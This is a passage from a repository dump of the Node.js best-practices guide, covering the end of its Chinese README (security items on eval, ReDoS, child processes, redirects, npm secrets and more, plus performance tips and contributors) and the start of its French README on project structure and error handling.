在服务器上运行脚本的攻击者在本地计算机上获得无限制的权利 (例如，改变iptable，引流到他的服务器上)\n\n🔗 [**更多: 使用非root用户运行Node.js**](./sections/security/non-root-user.md)\n\n<br/><br/>\n\n## ![✔] 6.14. 使用反向代理或中间件限制负载大小\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 请求body有效载荷越大, Node.js的单线程就越难处理它。这是攻击者在没有大量请求(DOS/DDOS 攻击)的情况下，就可以让服务器跪下的机会。在边缘上（例如，防火墙，ELB）限制传入请求的body大小，或者通过配置[express body parser](https://github.com/expressjs/body-parser)仅接收小的载荷，可以减轻这种问题。\n\n**否则:** 您的应用程序将不得不处理大的请求, 无法处理它必须完成的其他重要工作, 从而导致对DOS攻击的性能影响和脆弱性。\n\n🔗 [**更多: 限制负载大小**](./sections/security/requestpayloadsizelimit.md)\n\n<br/><br/>\n\n## ![✔] 6.15. 避免JavaScript的eval声明\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** `eval` 是邪恶的, 因为它允许在运行时执行自定义的JavaScript代码。这不仅是一个性能方面的问题, 而且也是一个重要的安全问题, 因为恶意的JavaScript代码可能来源于用户输入。应该避免的另一种语言功能是 `new Function` 构造函数。`setTimeout` 和 `setInterval` 也不应该传入动态JavaScript代码。\n\n**否则:** 恶意JavaScript代码查找传入 `eval` 或其他实时判断的JavaScript函数的文本的方法, 并将获得在该页面上javascript权限的完全访问权。此漏洞通常表现为XSS攻击。\n\n🔗 [**更多: 避免JavaScript的eval声明**](./sections/security/avoideval.chinese.md)\n\n<br/><br/>\n\n## ![✔] 6.16. 防止恶意RegEx让Node.js的单线程过载执行\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 正则表达式，在方便的同时，对JavaScript应用构成了真正的威胁，特别是Node.js平台。匹配文本的用户输入需要大量的CPU周期来处理。在某种程度上，正则处理是效率低下的，比如验证10个单词的单个请求可能阻止整个event loop长达6秒，并让CPU引火烧身。由于这个原因，偏向第三方的验证包，比如[validator.js](https://github.com/chriso/validator.js)，而不是采用正则，或者使用[safe-regex](https://github.com/substack/safe-regex)来检测有问题的正则表达式。\n\n**否则:** 写得不好的正则表达式可能容易受到正则表达式DoS攻击的影响, 这将完全阻止event loop。例如，流行的`moment`包在2017年的11月，被发现使用了错误的RegEx用法而易受攻击。\n\n🔗 [**更多: 防止恶意正则**](./sections/security/regex.md)\n\n<br/><br/>\n\n## ![✔] 6.17. 使用变量避免模块加载\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 避免通过作为参数的路径requiring/importing另一个文件, 原因是它可能源自用户输入。此规则可扩展为访问一般文件(即:`fs.readFile()`)或使用来自用户输入的动态变量访问其他敏感资源。[Eslint-plugin-security](https://www.npmjs.com/package/eslint-plugin-security) linter可以捕捉这样的模式, 并尽早提前警告。\n\n**否则:** 恶意用户输入可以找到用于获得篡改文件的参数, 例如, 文件系统上以前上载的文件, 或访问已有的系统文件。\n\n🔗 [**更多: 安全地加载模块**](./sections/security/safemoduleloading.chinese.md)\n\n<br/><br/>\n\n## ![✔] 6.18. 在沙箱中运行不安全代码\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 当任务执行在运行时给出的外部代码时(例如, 插件), 使用任何类型的`沙盒`执行环境保护主代码，并隔离开主代码和插件。这可以通过一个专用的过程来实现 (例如:cluster.fork()), 无服务器环境或充当沙盒的专用npm包。\n\n**否则:** 插件可以通过无限循环、内存超载和对敏感进程环境变量的访问等多种选项进行攻击\n\n🔗 [**更多: 在沙箱中运行不安全代码**](./sections/security/sandbox.chinese.md)\n\n<br/><br/>\n\n## ![✔] 6.19. 使用子进程时要格外小心\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 尽可能地避免使用子进程，如果您仍然必须这样做，验证和清理输入以减轻shell注入攻击。更喜欢使用 \"child_process\"。execFile 的定义将只执行具有一组属性的单个命令, 并且不允许 shell 参数扩展。倾向于使用`child_process.execFile`，从定义上来说，它将仅仅执行具有一组属性的单个命令，并且不允许shell参数扩展。\n\n**否则:** 由于将恶意用户输入传递给未脱敏处理的系统命令, 直接地使用子进程可能导致远程命令执行或shell注入攻击。\n\n🔗 [**更多: 处理子进程时要格外小心**](./sections/security/childprocesses.chinese.md)\n\n<br/><br/>\n\n## ![✔] 6.20. 隐藏客户端的错误详细信息\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 默认情况下, 集成的express错误处理程序隐藏错误详细信息。但是, 极有可能, 您实现自己的错误处理逻辑与自定义错误对象(被许多人认为是最佳做法)。如果这样做, 请确保不将整个Error对象返回到客户端, 这可能包含一些敏感的应用程序详细信息。\n\n**否则:** 敏感应用程序详细信息(如服务器文件路径、使用中的第三方模块和可能被攻击者利用的应用程序的其他内部工作流)可能会从stack trace发现的信息中泄露。\n\n🔗 [**更多: 隐藏客户端的错误详细信息**](./sections/security/hideerrors.md)\n\n<br/><br/>\n\n## ![✔] 6.21. 对npm或Yarn，配置2FA\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 开发链中的任何步骤都应使用MFA(多重身份验证)进行保护, npm/Yarn对于那些能够掌握某些开发人员密码的攻击者来说是一个很好的机会。使用开发人员凭据, 攻击者可以向跨项目和服务广泛安装的库中注入恶意代码。甚至可能在网络上公开发布。在npm中启用2因素身份验证（2-factor-authentication）, 攻击者几乎没有机会改变您的软件包代码。\n\n**否则:** [Have you heard about the eslint developer who's password was hijacked?](https://medium.com/@oprearocks/eslint-backdoor-what-it-is-and-how-to-fix-the-issue-221f58f1a8c8)\n\n<br/><br/>\n\n## ![✔] 6.22. 修改session中间件设置\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 每个web框架和技术都有其已知的弱点-告诉攻击者我们使用的web框架对他们来说是很大的帮助。使用session中间件的默认设置, 可以以类似于`X-Powered-By`header的方式向模块和框架特定的劫持攻击公开您的应用。尝试隐藏识别和揭露技术栈的任何内容(例如:Nonde.js, express)。\n\n**否则:** 可以通过不安全的连接发送cookie, 攻击者可能会使用会话标识来标识web应用程序的基础框架以及特定于模块的漏洞。\n\n🔗 [**更多: cookie和session安全**](./sections/security/sessions.md)\n\n<br/><br/>\n\n## ![✔] 6.23. 通过显式设置进程应崩溃的情况，以避免DOS攻击\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 当错误未被处理时, Node进程将崩溃。即使错误被捕获并得到处理，许多最佳实践甚至建议退出。例如, Express会在任何异步错误上崩溃 - 除非使用catch子句包装路由。这将打开一个非常惬意的攻击点, 攻击者识别哪些输入会导致进程崩溃并重复发送相同的请求。没有即时补救办法, 但一些技术可以减轻苦楚: 每当进程因未处理的错误而崩溃，都会发出警报，验证输入并避免由于用户输入无效而导致进程崩溃，并使用catch将所有路由处理包装起来，并在请求中出现错误时, 考虑不要崩溃(与全局发生的情况相反)。\n\n**否则:** 这只是一个起到教育意义的假设: 给定许多Node.js应用程序, 如果我们尝试传递一个空的JSON正文到所有POST请求 - 少数应用程序将崩溃。在这一点上, 我们可以只是重复发送相同的请求, 就可以轻松地搞垮应用程序。\n\n<br/><br/><br/>\n\n## ![✔] 6.24. 避免不安全的重定向\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 不验证用户输入的重定向可使攻击者启动网络钓鱼诈骗，窃取用户凭据，以及执行其他恶意操作。\n\n**否则:** 当攻击者发现你没有校验用户提供的外部输入时，他们会在论坛、社交媒体以和其他公共场合发布他们精心制作的链接来诱使用户点击，以此达到漏洞利用的目的。\n\n🔗 [**阅读更多: 避免不安全的重定向**](./sections/security/saferedirects.chinese.md)\n\n<br/><br/><br/>\n\n## ![✔] 6.25. 避免将机密信息发布到NPM仓库\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 您应该采取预防措施来避免偶然地将机密信息发布到npm仓库的风险。 一个 `.npmignore` 文件可以被用作忽略掉特定的文件或目录, 或者一个在 `package.json` 中的 `files` 数组可以起到一个白名单的作用.\n\n**否则:** 您项目的API密钥、密码或者其它机密信息很容易被任何碰到的人滥用，这可能会导致经济损失、身份冒充以及其它风险。\n\n🔗 [**阅读更多: 避免发布机密信息**](./sections/security/avoid_publishing_secrets.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ Return to top</a></p>\n\n# `7. 草稿: 有关性能的最佳实践`\n\n## 我们的贡献者们正在努力完善这个章节。 [你想要加入吗?](https://github.com/goldbergyoni/nodebestpractices/issues/256)\n\n<br/><br/>\n\n## ![✔] 7.1. 不要阻塞事件循环\n\n**TL;DR:** 避免执行CPU密集型的任务，并将这些任务转移到基于上下文的专用线程中，因为它们会阻塞大多数单线程事件循环。\n\n**否则:** 由于事件循环被阻塞了，Node.js 将无法处理其它请求，从而导致同时请求的用户的延迟。 **3000 位用户正在等待响应，内容本身已经准备好了提供服务， 但是一个单独的请求阻止了服务器将结果分发回去。**\n\n🔗 [**阅读更多: 不要阻塞事件循环**](./sections/performance/block-loop.md)\n\n<br /><br /><br />\n\n## ![✔] 7.2. 优先使用原生的JS方法，而不是像 Lodash 这样的用户空间级别的实用工具\n\n**TL;DR:** 使用像 `lodash` 和 `underscore` 这样的实用库替代原生的JS方法，通常来说这么做更不好，因为它导致了一些不必要的依赖项以及更差的性能表现。\n请记住，随着新的V8引擎以及新的ES标准的引入，原生方法得到了改进，它们现在会比这些实用工具库高出大概 50% 的性能。\n\n**否则:** 你将不得不维护一些性能更低的项目，在这些项目中，你本可以很简单的使用那些已经可以用的东西，或者用几行代码来取代掉几个文件。\n\n🔗 [**阅读更多: 原生方法胜过实用工具**](./sections/performance/nativeoverutil.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ Return to top</a></p>\n\n<br/><br/><br/>\n\n# Milestones\n\nTo maintain this guide and keep it up to date, we are constantly updating and improving the guidelines and best practices with the help of the community. You can follow our [milestones](https://github.com/goldbergyoni/nodebestpractices/milestones) and join the working groups if you want to contribute to this project.\n\n<br/><br/>\n\n# Contributors\n\n## `Yoni Goldberg`\n\nIndependent Node.js consultant who works with customers at USA, Europe and Israel on building large-scale scalable Node applications. Many of the best practices above were first published on his blog post at [http://www.goldbergyoni.com](http://www.goldbergyoni.com). Reach Yoni at @goldbergyoni or me@goldbergyoni.com\n\n## `Ido Richter`\n\n👨‍💻 Software engineer, 🌐 web developer, 🤖 emojis enthusiast.\n\n## `Refael Ackermann` [@refack](https://github.com/refack) &lt;refack@gmail.com&gt; (he/him)\n\nNode.js Core Collaborator, been noding since 0.4, and have noded in multiple production sites. Founded `node4good` home of [`lodash-contrib`](https://github.com/node4good/lodash-contrib), [`formage`](https://github.com/node4good/formage), and [`asynctrace`](https://github.com/node4good/asynctrace).\n`refack` on freenode, Twitter, GitHub, GMail, and many other platforms. DMs are open, happy to help.\n\n## `Bruno Scheufler`\n\n💻 full-stack web developer and Node.js enthusiast.\n\n## `Kyle Martin` [@js-kyle](https://github.com/js-kyle)\n\nFull Stack Developer based in New Zealand, interested in architecting and building Node.js applications to perform at global scale. Keen contributor to open source software, including Node.js Core.\n\n<br/><br/>\n\n## Thank You Notes\n\nWe appreciate any contribution, from a single word fix to a new best practice. View our contributors and [contributing documentation here!](./README.md#contributors-)\n\n<br/><br/><br/>\n"
  },
  {
    "path": "README.french.md",
    "content": "[✔]: assets/images/checkbox-small-blue.png\n\n# Bonnes pratiques Node.js\n\n<h1 align=\"center\">\n  <img src=\"assets/images/banner-2.jpg\" alt=\"Bonnes pratiques Node.js\"/>\n</h1>\n\n<br/>\n\n<div align=\"center\">\n  <img src=\"https://img.shields.io/badge/⚙%20Item%20count%20-%20102%20Best%20Practices-blue.svg\" alt=\"102 items\"/> <img id=\"last-update-badge\" src=\"https://img.shields.io/badge/%F0%9F%93%85%20Last%20update%20-%20July%2014%2C%202021-green.svg\" alt=\"Dernière mise à jour : 14 Juillet 2021\" /> <img src=\"https://img.shields.io/badge/ %E2%9C%94%20Updated%20For%20Version%20-%20Node%2014.0.0-brightgreen.svg\" alt=\"Mis à jour pour Node 14.0.0\"/>\n</div>\n\n<br/>\n\n[![nodepractices](./assets/images/twitter-s.png)](https://twitter.com/nodepractices/) **Suivez nous sur Twitter !** [**@nodepractices**](https://twitter.com/nodepractices/)\n\n<br/>\n\nLire dans une autre langue : [![CN](./assets/flags/CN.png)**CN**](./README.chinese.md), [![FR](./assets/flags/FR.png)**FR**](./README.french.md), [![BR](./assets/flags/BR.png)**BR**](./README.brazilian-portuguese.md), [![RU](./assets/flags/RU.png)**RU**](./README.russian.md), [![PL](./assets/flags/PL.png)**PL**](./README.polish.md), [![JA](./assets/flags/JA.png)**JA**](./README.japanese.md), [![EU](./assets/flags/EU.png)**EU**](./README.basque.md) [(![ES](./assets/flags/ES.png)**ES**, ![HE](./assets/flags/HE.png)**HE**, ![KR](./assets/flags/KR.png)**KR** et ![TR](./assets/flags/TR.png)**TR** en cours ! )](#traductions)\n\n<br/>\n\n###### Construit et entretenu par notre [comité de pilotage](#comité-de-pilotage) et nos [collaborateurs](#collaborateurs)\n\n# Dernières bonnes pratiques et nouveautés\n\n- **![FR](./assets/flags/FR.png) Traduction française!1! :** La dernière traduction qui rejoint notre guide international est le français. Bienvenue\n\n- **🇯🇵 traduction japonaise :** Notre guide est désormais également traduit en japonais ! Avec l'aimable autorisation des extraordinaires [YukiOta](https://github.com/YukiOta) et [Yuta Azumi](https://github.com/YA21).\n\n- **🎊 60,000 stars !** : Notre dépôt a reçu la reconnaissance et la confiance de 60 100 développeurs. Nous sommes sans voix.\n\n<br/><br/>\n\n# Bienvenue ! 3 Choses à savoir avant tout\n\n**1. Vous êtes en train de lire un regroupement des meilleurs articles sur Node.js. -** ce référentiel est un résumé et il conserve le contenu le mieux classé sur les bonnes pratiques Node.js, ainsi que du contenu écrit ici par des collaborateurs\n\n**2. Il s'agit du plus grand assemblage d'articles et il s'agrandit chaque semaine -** actuellement, plus de 80 bonnes pratiques, guides de style et astuces d'architecture sont présentées. Nous serions ravis de vous voir contribuer ici, qu'il s'agisse de corriger des erreurs de code, d'aider aux traductions ou de suggérer de nouvelles idées brillantes. Consultez nos [recommandations d'écriture](./.operations/writing-guidelines.french.md)\n\n**3. Les bonnes pratiques contiennent des informations supplémentaires -** la plupart des points ont un lien **🔗Plus d'infos** qui développe la bonne pratique avec des exemples de code, des citations venant de pages sélectionnées et plus encore.\n\n<br/><br/>\n\n## Table des matières\n\n1. [Structure de projet (5)](#1-structure-de-projet)\n2. [Gestion des erreurs (12) ](#2-gestion-des-erreurs)\n3. [Style du code (12) ](#3-style-du-code)\n4. [Tests et pratiques générales de qualité (13) ](#4-tests-et-pratiques-générales-de-qualité)\n5. [Pratiques de mise en production (19) ](#5-pratiques-de-mise-en-production)\n6. [Sécurité (25)](#6-bonnes-pratiques-de-sécurité)\n7. [Performance (2) (Travail en cours ✍️)](#7-brouillon-bonnes-pratiques-de-performance)\n8. [Pratiques de Docker (15)](#8-bonnes-pratiques-de-docker)\n\n<br/><br/>\n\n# `1. Structure de projet`\n\n## ![✔] 1.1 Organisez votre projet en composants\n\n**TL;PL :** Le pire obstacle des énormes applications est la maintenance d'une base de code immense contenant des centaines de dépendances - un tel monolithe ralentit les développeurs tentant d'ajouter de nouvelles fonctionnalités. Pour éviter cela, répartissez votre code en composants, chacun dans son dossier avec son code dédié, et assurez vous que chaque unité soit courte et simple. Visitez le lien « Plus d'infos » plus bas pour voir des exemples de structure de projet correcte.\n\n**Autrement :** Lorsque les développeurs qui codent de nouvelles fonctionnalités ont du mal à réaliser l'impact de leur changement et craignent de casser d'autres composants dépendants - les déploiements deviennent plus lents et plus risqués. Il est aussi considéré plus difficile d'élargir un modèle d'application quand les unités opérationnelles ne sont pas séparées.\n\n🔗 [**Plus d'infos : organisez en composants**](./sections/projectstructre/breakintcomponents.french.md)\n\n<br/><br/>\n\n## ![✔] 1.2 Organisez vos composants en strates, gardez la couche web à l'intérieur de son périmètre\n\n**TL;PL :** Chaque composant devrait contenir des « strates » - un objet dédié pour le web, un pour la logique et un pour le code d'accès aux données. Cela permet non seulement de séparer clairement les responsabilités mais permet aussi de simuler et de tester le système de manière plus simple. Bien qu'il s'agisse d'un modèle très courant, les développeurs d'API ont tendance à mélanger les strates en passant l'objet dédié au web (Par exemple Express req, res) à la logique opérationnelle et aux strates de données - cela rend l'application dépendante et accessible seulement par les frameworks web spécifiques.\n\n**Autrement :** Les tests, les jobs CRON, les déclencheurs des files d'attente de messages et etc ne peuvent pas accéder à une application qui mélange les objets web avec les autres strates.\n\n🔗 [**Plus d'infos : organisez en strates votre app**](./sections/projectstructre/createlayers.french.md)\n\n<br/><br/>\n\n## ![✔] 1.3 Externalisez les utilitaires communs en paquets NPM\n\n**TL;PL :** Dans une grande appli rassemblant de nombreuses lignes de codes, les utilitaires opérant sur toutes les strates comme un logger, l'encryption et autres, devraient être inclus dans le code et exposés en tant que paquets NPM privés. Cela permet leur partage au sein de plusieurs projets.\n\n**Autrement :** Vous devrez inventer votre propre roue de déploiement et de dépendance\n\n🔗 [**Plus d'infos : organisez par fonction**](./sections/projectstructre/wraputilities.french.md)\n\n<br/><br/>\n\n## ![✔] 1.4 Séparez Express 'app' et 'server'\n\n**TL;PL :** Evitez la sale habitude de définir l'appli [Express](https://expressjs.com/) toute entière dans un seul fichier immense - séparez la définition de votre 'Express' en au moins deux fichiers : la déclaration de l'API (app.js) et les responsabilités de gestion de réseau (WWW). Pour une structure encore plus poussée, localisez la déclaration de l'API dans les composants.\n\n**Autrement :** Votre API sera seulement accessible aux tests par le biais d'appels HTTP (plus lent et plus difficile de générer des rapports de couverture). Cela ne sera pas un réel plaisir de maintenir des centaines de lignes de code dans un fichier unique.\n\n🔗 [**Plus d'infos : séparez Express 'app' et 'server'**](./sections/projectstructre/separateexpress.french.md)\n\n<br/><br/>\n\n## ![✔] 1.5 Utilisez une configuration respectueuse de l'environnement, sécurisée et hiérarchique\n\n**TL;PL :** La mise en place d'une configuration parfaite et sans faille doit garantir que (a) les clés peuvent être lues depuis un fichier ET à partir de la variable d'environnement (b) les secrets sont conservés hors du code source (c) la configuration est hiérarchique pour une recherche plus simple. Certains paquets peuvent gérer la plupart de ces points comme [rc](https://www.npmjs.com/package/rc), [nconf](https://www.npmjs.com/package/nconf), [config](https://www.npmjs.com/package/config) et [convict](https://www.npmjs.com/package/convict).\n\n**Autrement :** Ne pas se soucier de ces exigences de configuration ne fera que ralentir l'équipe de développement ou l'équipe de DevOps. Probablement les deux.\n\n🔗 [**Plus d'infos : bonnes pratiques de configuration**](./sections/projectstructre/configguide.french.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-des-matières\">⬆ Retourner en haut de la page</a></p>\n\n# `2. Gestion des erreurs`\n\n## ![✔] 2.1 Utilisez Async-Await ou les promesses pour le traitement des erreurs asynchrones\n\n**TL;PL :** Gérer les erreurs asynchrone avec le style fonction de rappel est probablement le chemin le plus rapide vers l'enfer (ou la [pyramide condamnée](https://fr.wikipedia.org/wiki/Pyramide_condamn%C3%A9e)). Le meilleur cadeau que vous puissiez faire à votre code est d'utiliser une bibliothèque de promesses réputée ou async-await à la place, ceci permet une syntaxe de code beaucoup plus compacte et familière comme try-catch.\n\n**Autrement :** Le style fonction de rappel de Node.js, function(err, response), constituent une autre manière d’obtenir une solution non maintenable mêlant gestion de l’erreur avec du code ordinaire, des imbrications excessives et une conception bancale.\n\n🔗 [**Plus d'infos : évitez les fonctions de rappel**](./sections/errorhandling/asyncerrorhandling.french.md)\n\n<br/><br/>\n\n## ![✔] 2.2 Utilisez uniquement l'objet intégré Error\n\n**TL;PL :** Beaucoup lèvent des erreurs sous forme de chaîne ou de type personnalisé - cela complique la logique de gestion des erreurs et l'interopérabilité entre les modules. Que vous rejetiez une promesse, leviez une exception ou émettiez une erreur - l'utilisation uniquement de l'objet intégré Error (ou un objet qui étend l'objet Error) augmentera l'uniformité et empêchera la perte d'informations. Il existe une règle ESLint `no-throw-literal` qui vérifie strictement cela (bien qu'elle ait quelques [limitations](https://eslint.org/docs/rules/no-throw-literal) qui peuvent être résolues en utilisant TypeScript et en définissant la règle `@typescript-eslint/no-throw-literal`).\n\n**Autrement :** Lorsque vous appelez un composant, le type d'erreurs en retour étant incertain - cela rend la gestion des erreurs beaucoup plus difficile. Pire encore, l'utilisation de types personnalisés pour décrire des erreurs peut entraîner la perte d'informations d'erreurs critiques comme la trace de la pile !\n\n🔗 [**Plus d'infos : utilisez uniquement l'objet intégré Error**](./sections/errorhandling/useonlythebuiltinerror.french.md)\n\n<br/><br/>\n\n## ![✔] 2.3 Distinguez les erreurs opérationnelles des erreurs de programmation\n\n**TL;PL :** Les erreurs opérationnelles (par exemple, l'API a reçu une entrée non valide) se rapportent à des cas connus où l'impact de l'erreur est entièrement compris et peut être géré de manière réfléchie. D'autre part, une erreur de programmation (par exemple, essayer de lire une variable non définie) fait référence à des échecs de code inconnus qui dictent de redémarrer l'application en douceur.\n\n**Autrement :** Vous pouvez toujours redémarrer l'application lorsqu'une erreur apparaît, mais pourquoi lâcher environ 5000 utilisateurs en ligne en raison d'une erreur opérationnelle mineure prévue ? L'inverse n'est pas non plus idéal - laisser l'application en place lorsqu'un problème inconnu (erreur de programmation) s'est produit peut conduire à un comportement imprévu. Différencier les deux permet d'agir avec tact et d'appliquer une approche équilibrée en fonction du contexte donné.\n\n🔗 [**Plus d'infos : erreur opérationnelle vs erreur de programmation**](./sections/errorhandling/operationalvsprogrammererror.french.md)\n\n<br/><br/>\n\n## ![✔] 2.4 Gérez les erreurs de manière centralisée, pas dans un middleware\n\n**TL;PL :** Les logiques de gestion des erreurs telles que le mail à l'administrateur et la journalisation doivent être encapsulées dans un objet dédié et centralisé, pour que tous les points de terminaison (par exemple, middleware Express, tâches cron, tests unitaires) l'appellent lorsqu'une erreur survient.\n\n**Autrement :** Ne pas traiter les erreurs dans un seul endroit entraînera une duplication de code et probablement des erreurs mal gérées\n\n🔗 [**Plus d'infos : gestion des erreurs dans un lieu centralisé**](./sections/errorhandling/centralizedhandling.french.md)\n\n<br/><br/>\n\n## ![✔] 2.5 Documentez les erreurs de l'API à l'aide de Swagger ou GraphQL\n\n**TL;PL :** Faites savoir à vos appelants de l'API quelles erreurs peuvent survenir en retour afin de pouvoir les traiter de manière réfléchie sans planter. Pour les API RESTful, cela se fait généralement avec des frameworks de documentation comme Swagger. Si vous utilisez GraphQL, vous pouvez également utiliser votre schéma et vos commentaires.\n\n**Autrement :** Un client d'une API peut décider de planter et de redémarrer uniquement parce qu'il a reçu une erreur qu'il ne comprend pas. Remarque: l'appelant de votre API peut être vous (très typique dans un environnement de microservice)\n\n🔗 [**Plus d'infos : documentez les erreurs de l'API à l'aide de Swagger ou GraphQL**](./sections/errorhandling/documentingusingswagger.french.md)\n\n<br/><br/>\n\n## ![✔] 2.6 Quittez le processus avec élégance lorsqu'un étranger arrive en ville\n\n**TL;PL :** Lorsqu'une erreur inconnue se produit (une erreur de programmation, voir la bonne pratique 2.3) - il existe une incertitude sur la bonne santé de l'application. Une pratique courante suggère de redémarrer le processus avec précaution à l'aide d'un outil de gestion des processus comme [Forever](https://www.npmjs.com/package/forever) ou [PM2](http://pm2.keymetrics.io/).\n\n**Autrement :** Lorsqu'une exception inconnue se produit, certains objets peuvent être dans un état défectueux (par exemple, un émetteur d'événements qui est utilisé globalement et qui ne déclenche plus d'événements en raison d'une défaillance interne) et toutes les demandes futures peuvent échouer ou se comporter de manière folle.\n\n🔗 [**Plus d'infos : arrêtez le processus**](./sections/errorhandling/shuttingtheprocess.french.md)\n\n<br/><br/>\n\n## ![✔] 2.7 Utilisez un outil de journalisation mature pour augmenter la visibilité des erreurs\n\n**TL;PL :** Un ensemble d'outils de journalisation matures comme [Pino](https://github.com/pinojs/pino) ou [Log4js](http://stritti.github.io/log4js/), accélérera la découverte et la compréhension des erreurs. Alors oubliez console.log.\n\n**Autrement :** En parcourant les console.logs ou manuellement par le biais d'un fichier texte désordonné sans outils d'interrogation ou d'une visionneuse de journaux décente, vous pourriez être occupé au travail jusqu'à tard dans la nuit.\n\n🔗 [**Plus d'infos : utilisation d'un outil de journalisation mature**](./sections/errorhandling/usematurelogger.french.md)\n\n<br/><br/>\n\n## ![✔] 2.8 Testez les flux d'erreurs en utilisant votre framework de test préféré\n\n**TL;PL :** Qu'il s'agisse d'un outil automatisée d'assurance qualité professionnelle ou de tests manuels simples pour les développeurs - Assurez-vous que votre code non seulement satisfait les scénarios positifs, mais gère et renvoie également les bonnes erreurs. Les frameworks de test comme Mocha & Chai peuvent gérer cela facilement (voir les exemples de code dans « Plus d'infos »)\n\n**Autrement :** Sans test, que ce soit automatiquement ou manuellement, vous ne pouvez pas compter sur votre code pour renvoyer les bonnes erreurs. Sans erreurs significatives - il n'y a pas de gestion des erreurs.\n\n🔗 [**Plus d'infos : test des flux d'erreurs**](./sections/errorhandling/testingerrorflows.french.md)\n\n<br/><br/>\n\n## ![✔] 2.9 Découvrez les erreurs et les indisponibilités à l'aide des produits de gestion de la performance applicative\n\n**TL;PL :** Les produits de 